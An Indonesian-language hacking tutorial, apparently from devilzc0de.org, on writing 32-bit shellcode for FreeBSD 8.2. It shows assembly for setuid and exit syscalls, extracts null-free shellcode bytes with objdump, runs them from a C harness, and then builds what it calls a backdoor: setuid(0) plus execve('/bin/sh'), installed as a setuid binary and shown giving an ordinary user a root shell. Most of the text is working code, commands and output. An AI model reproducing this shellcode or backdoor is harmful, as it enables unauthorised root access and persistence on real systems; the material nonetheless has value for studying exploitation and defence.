Membuat  shellcode di Freebsd 8.2 

by : devilzc0de.org - "Trojan horse Live and Die Under the Sun"

"mengakses register lebih cepat dari mengakses memori karena register ada 
di cpu dan memori baru terhubung ke cpu melalui bus"

kali ini kita akan membuat shellcode untuk Freebsd 8.2 , masih pake 32 bit 
:
------------------------
ev1lut10n# uname -a
FreeBSD ev1lut10n.org 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Fri Feb 18 
02:24:46 UTC 2011     
root@almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  i386
ev1lut10n# 
-----------------------
untuk freebsd 8.2 daftar syscall bisa dilihat di 
/usr/include/sys/syscall.h

-------------------
ev1lut10n# cat /usr/include/sys/syscall.h | grep setuid
#define	SYS_setuid	23
-------------------

jadi kita perlu mengisi eax dengan 17 hexa (konversi dari 23 desimal=17 
hexa)
----------------
mov eax,0x17
int 80h
--------------
0x: berarti kita akan memindahkan angka berformat hex

untuk memastikanya coba kita liat lagi di /usr/include/unistd.h:
---------------------------
ev1lut10n# cat /usr/include/unistd.h | grep setuid
int	 setuid(uid_t);
---------------------------

terlihat hanya 1 parameter, untuk fungsi di bawah 6 argumen urutan 
pemasukanya selalu : eax, ebx, ecx, edx, esi 

ok mari kita tes dulu memanggil syscall setuid dan langsung menggunakan 
syscall exit:

sebelumnya kita liat dulu kebutuhan kita:
-----------------------
ev1lut10n# cat /usr/include/sys/syscall.h | grep exit
#define	SYS_exit	1
#define	SYS_thr_exit	431
ev1lut10n# 
-----------------------
yang akan kita pakai adl yg ini:
#define	SYS_exit	1

ok kita siapkan label dengan nama keluar, di bawahnya kita eksekusi 
syscall exit:

keluar:
mov     eax,0x01
int     80h

------------------
;copyleft by dom dom aka m0nk3y
global _start
section .text
_start:
xor eax,eax
push eax
push eax
mov eax,0x17 
int 80h

keluar:
push    byte 0x01
pop     eax
int     80h

-----------------


misal namanya setuid_exit.asm

ev1lut10n# nasm -f elf setuid_exit.asm
ev1lut10n# ld -o setuid_exit setuid_exit.o


ev1lut10n# ./setuid_exit

gak ada segmentation fault berarti ok heh?

untuk membuat shellcodenya gunakan objdump seperti di linux:
-----------------------------
ev1lut10n# objdump -d setuid_exit
setuid_exit:     file format elf32-i386-freebsd

Disassembly of section .text:

08048080 <_start>:
 8048080:	31 c0                	xor    %eax,%eax
 8048082:	50                   	push   %eax
 8048083:	50                   	push   %eax
 8048084:	b8 17 00 00 00       	mov    $0x17,%eax
 8048089:	cd 80                	int    $0x80

0804808b <keluar>:
 804808b:	6a 01                	push   $0x1
 804808d:	58                   	pop    %eax
 804808e:	cd 80                	int    $0x80
ev1lut10n# 
_________________

jika register eax diganti register ax, berdasarkan pengalaman masih ada 
null string, jadi kita pake register 8 bit: al

mov    $0x17,%eax   

menjadi:


mov    $0x17,%al


kompile:
ev1lut10n# nasm -f elf setuid_exit2.asm
ev1lut10n# ld -o setuid_exit setuid_exit.o

ev1lut10n# objdump -d setuid_exit2

setuid_exit2:     file format elf32-i386-freebsd

Disassembly of section .text:

08048080 <_start>:
 8048080:	31 c0                	xor    %eax,%eax
 8048082:	50                   	push   %eax
 8048083:	50                   	push   %eax
 8048084:	b0 17                	mov    $0x17,%al
 8048086:	cd 80                	int    $0x80

08048088 <keluar>:
 8048088:	6a 01                	push   $0x1
 804808a:	58                   	pop    %eax
 804808b:	cd 80                	int    $0x80

dari hasil objdump shellcodenya adl:

\x31\xc0\x50\x50\xb0\x17\xcd\x80\x6a\x01\x58\xcd\x80


--------------------
/**freebsd setuid then exit shellcode made by: ev1lut10n**/
#include <stdio.h>
#include <string.h>
char shellcode[] = "\x31\xc0\x50\x50\xb0\x17\xcd\x80\x6a\x01\x58\xcd\x80";
int main()
{
        fprintf(stdout,"Length: %d\n",strlen(shellcode)); 
        (*(void(*)()) shellcode)();

}
-------------------

misal namanya keluar.c:

ev1lut10n# gcc -o keluar keluar.c
ev1lut10n# ./keluar
Length: 13
ev1lut10n# 

dieksekusi dg benar

\x31\xc0\x50\x50\xb0\x17\xcd\x80\x6a\x01\x58\xcd\x80
  1   2   3   4   5   6   7   8   9   10  11  12  13

ok selanjutnya kita akan membuat sebuah backdoor dengan shellcode setuid 
execve /bin/sh


------------------
ev1lut10n# cat /usr/include/sys/syscall.h | grep execve
#define	SYS_execve	59
#define	SYS___mac_execve	415
#define	SYS_fexecve	492
ev1lut10n# 
-------------------

yang akan dipakai adalah yg: #define	SYS_execve	59 

59 dalam hex: 3b

al kita isi dengan 3b

---------------
#include <unistd.h>

     int
     execve(const char *path, char *const argv[], char *const envp[]);


berikut ini kode assembly untuk eksekusi /bin/sh:
-----------------
xor    eax,eax; eax diset ke null 
push   byte 0 ;sama dengan push eax
push   '//sh' ;alamat //sh disimpan ke stack
push   '/bin'
mov    ebx,esp 
push   byte 0 ;sama dengan push eax
push   esp
push   ebx
push   byte 0
mov    al,0x3b ;syscall execve
int    80h
--------------------


jika dilakukan strace kurang lebih fungsi execve dieksekusi spt ini:
execve("/bin/sh", "/bin/sh", NULL)




setelah itu kita gabungkan dengan kode asm untuk setuid shellcode:
-----------------------
;copyleft by dom dom aka m0nk3y
global _start
section .text
_start:
xor    eax,eax
push   byte 0
push   byte 0
mov    al,0x17
int    80h

xor    eax,eax
push   byte 0
push   '//sh'
push   '/bin'
mov    ebx,esp
push   byte 0
push   esp
push   ebx
push   byte 0
mov    al,0x3b
int    80h
--------------

untuk memahami kode di atas lalukan kompile dengan opsi -g:

----------
ev1lut10n# nasm -f elf suid.asm -g
ev1lut10n# ld -o suid suid.o
ev1lut10n# gdb -q suid
(gdb) l
1	;copyleft by dom dom aka m0nk3y
2	global _start
3	section .text
4	_start:
5	xor    eax,eax
6	push   byte 0
7	push   byte 0
8	mov    al,0x17
9	int    80h
10	
(gdb) l
11	xor    eax,eax
12	push   byte 0
13	push   '//sh'
14	push   '/bin'
15	mov    ebx,esp
16	push   byte 0
17	push   esp
18	push   ebx
19	push   byte 0
20	mov    al,0x3b
(gdb) b 16
Breakpoint 1 at 0x804809a: file suid.asm, line 16.
(gdb) run
Starting program: /root/shellcode/suid 

Breakpoint 1, 0x0804809a in _start ()
(gdb) i r
eax            0x0	0
ecx            0x0	0
edx            0x0	0
ebx            0xbfbfe9f0	-1077941776
esp            0xbfbfe9f0	0xbfbfe9f0
ebp            0x0	0x0
esi            0x0	0
edi            0x0	0
eip            0x804809a	0x804809a
eflags         0x246	582
cs             0x33	51
ss             0x3b	59
ds             0x3b	59
es             0x3b	59
fs             0x3b	59
gs             0x3b	59
(gdb) x/s 0xbfbfe9f0
0xbfbfe9f0:	 "/bin//sh"
(gdb) 

---------


sebelumnya esp menyimpan alamat /bin/sh yang telah kita push ke stack:

13	push   '//sh'
14	push   '/bin'

selanjutnya isi esp yg berupa alamat memori /bin/sh disimpan ke ebx:
15	mov    ebx,esp

(gdb) x/s 0xbfbfe9f0
0xbfbfe9f0:	 "/bin//sh"
(gdb) 

0xbfbfe9f0 adlaah alamat /bin/sh 

mulai break di baris ke 16 sehingga ebx :
ebx            0xbfbfe9f0	-1077941776

(gdb) x/s -1077941776
0xbfbfe9f0:	 "/bin//sh"
(gdb) 


gdb) b 21
Breakpoint 1 at 0x80480a2: file suid.asm, line 21.
(gdb) run
Starting program: /root/shellcode/suid 

Breakpoint 1, 0x080480a2 in _start ()

ev1lut10n# nasm -f elf suid.asm
ev1lut10n# ld -o suid suid.o
ev1lut10n# chmod u+s suid
ev1lut10n# uname -a
FreeBSD ev1lut10n.org 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Fri Feb 18 
02:24:46 UTC 2011     
root@almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  i386
ev1lut10n# su ev1lut10n
$ id
uid=1001(ev1lut10n) gid=1001(ev1lut10n) groups=1001(ev1lut10n)
$ ./suid
# id
uid=0(root) gid=0(wheel) egid=1001(ev1lut10n) groups=1001(ev1lut10n)
# 

(gdb) i r
eax            0x3b	59


karena register 32 bit (eax) terdiri dari 2 register 16 bit : ax di mana 
ax terdiri lagi dari 2 register 8 bit , dengan mengisi register 8 bit al 
dengan 
0x3b maka eax=0x3b